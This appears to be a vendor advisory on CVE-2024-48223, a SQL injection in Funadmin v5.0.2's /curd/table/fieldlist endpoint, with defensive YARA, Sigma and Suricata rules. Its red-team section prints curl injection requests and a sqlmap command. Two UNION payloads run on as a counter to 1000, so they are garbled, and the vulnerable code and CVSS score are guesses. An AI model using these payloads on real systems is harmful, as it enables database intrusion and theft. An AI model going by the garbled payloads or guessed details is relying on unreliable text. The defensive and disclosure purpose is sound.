CVE-2024-48223

Executive Summary

CVE-2024-48223 identifies a critical SQL injection vulnerability in Funadmin v5.0.2, specifically within the /curd/table/fieldlist endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and the sensitive nature of the affected component.

Supply Chain & Package Security

This vulnerability affects a PHP-based application (Funadmin). While not a direct package manager issue (NPM, PyPI, Go, Ruby), the lack of a patch and the public availability of exploit details make it a significant supply chain risk for any organization using Funadmin v5.0.2. Users must treat this as a critical dependency vulnerability and consider immediate mitigation or replacement.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability type (SQL injection) and the endpoint's functionality, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – database can be disrupted.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to total database compromise.

Deep Dive & Mechanics

The vulnerability resides in the /curd/table/fieldlist endpoint of Funadmin v5.0.2. This endpoint is part of the CRUD (Create, Read, Update, Delete) functionality, likely used to manage database table fields. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries.

Root Cause: The application directly concatenates user input into SQL statements without parameterization or escaping. An attacker can manipulate parameters such as table, field, or other query string values to inject malicious SQL code.

Exploitation Mechanics:

1. The attacker sends a crafted HTTP request to /curd/table/fieldlist with a malicious SQL payload in a parameter.
2. The application constructs a SQL query using the unsanitized input.
3. The injected SQL is executed by the database, allowing the attacker to:
   • Extract data from other tables (e.g., user credentials, configuration data).
   • Modify or delete data.
   • Potentially execute system commands if the database user has sufficient privileges.

Example Attack Vector:

GET /curd/table/fieldlist?table=users&field=id' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -

Vulnerable vs. Patched Code

Vulnerable Code (Funadmin v5.0.2): The vulnerable code likely resides in a controller or model file that handles the /curd/table/fieldlist request. A simplified example of the vulnerable pattern:

// Vulnerable: Direct concatenation of user input
$table = $_GET['table'];
$field = $_GET['field'];
$sql = "SELECT * FROM `$table` WHERE field = '$field'";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical): A secure version would use prepared statements or parameterized queries:

// Patched: Using prepared statements
$table = $_GET['table'];
$field = $_GET['field'];
// Note: Table names cannot be parameterized, so they must be whitelisted
$allowedTables = ['users', 'products', 'orders'];
if (!in_array($table, $allowedTables)) {
    die("Invalid table");
}
$stmt = $conn->prepare("SELECT * FROM `$table` WHERE field = ?");
$stmt->bind_param("s", $field);
$stmt->execute();
$result = $stmt->get_result();

Note: Since no official patch exists, the above is a recommended fix. The vendor has not released a patched version.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Funadmin v5.0.2 in a controlled environment (e.g., Docker, local VM).
2. Ensure the application is accessible via HTTP.

Exploitation Steps:

1. Identify the vulnerable endpoint: /curd/table/fieldlist.
2. Use a tool like sqlmap or manual injection to exploit the SQLi.

Manual Exploitation Example:

# Basic boolean-based injection
curl "http://target.com/curd/table/fieldlist?table=users&field=id' AND 1=1-- -"

# Union-based injection to extract data
curl "http://target.com/curd/table/fieldlist?table=users&field=id' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/curd/table/fieldlist?table=users&field=id" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /curd/table/fieldlist for unusual parameters or SQL keywords (e.g., UNION, SELECT, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Enable detailed logging of all database queries.

Mitigation:

• Immediately isolate Funadmin v5.0.2 instances.
• Apply virtual patching via WAF rules.
• If possible, rewrite the vulnerable code to use prepared statements (see patched code example).
• Consider migrating to an alternative, actively maintained CMS.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /curd/table/fieldlist containing SQL keywords in parameters.
• Unusual response sizes or error messages indicating SQL syntax errors.
• Outbound database connections from the web server to unexpected IPs.

File IOCs:

• Modified application files (e.g., index.php, config.php) containing webshells.
• New files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing repeated requests to /curd/table/fieldlist with varying parameters.
• Database logs showing anomalous queries (e.g., UNION SELECT, LOAD_FILE).

Detection Engineering

YARA Rule

rule CVE_2024_48223_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting Funadmin /curd/table/fieldlist"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48223"
    strings:
        $sqli_pattern1 = /\/curd\/table\/fieldlist.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#|')/i
        $sqli_pattern2 = /fieldlist\?.*(?:table|field)=.*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-48223 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Funadmin /curd/table/fieldlist
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48223
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/curd/table/fieldlist'
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in a non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48223 SQL Injection Attempt"; flow:to_server; content:"/curd/table/fieldlist"; http_uri; pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect Funadmin v5.0.2 from the network if possible.
2. Virtual Patch: Deploy WAF rules to block SQL injection patterns targeting /curd/table/fieldlist.
3. Monitor: Review logs for signs of exploitation.

Long-term Fix:

1. Code Fix: Rewrite the vulnerable endpoint to use prepared statements (see patched code example).
2. Upgrade: If a patched version becomes available, upgrade immediately.
3. Replace: Consider migrating to a different, actively maintained CMS or framework.

Workaround:

• Disable the /curd/table/fieldlist endpoint by removing or renaming the associated controller file.
• Restrict access to the endpoint via .htaccess or firewall rules (e.g., allow only specific IPs).

Valters IT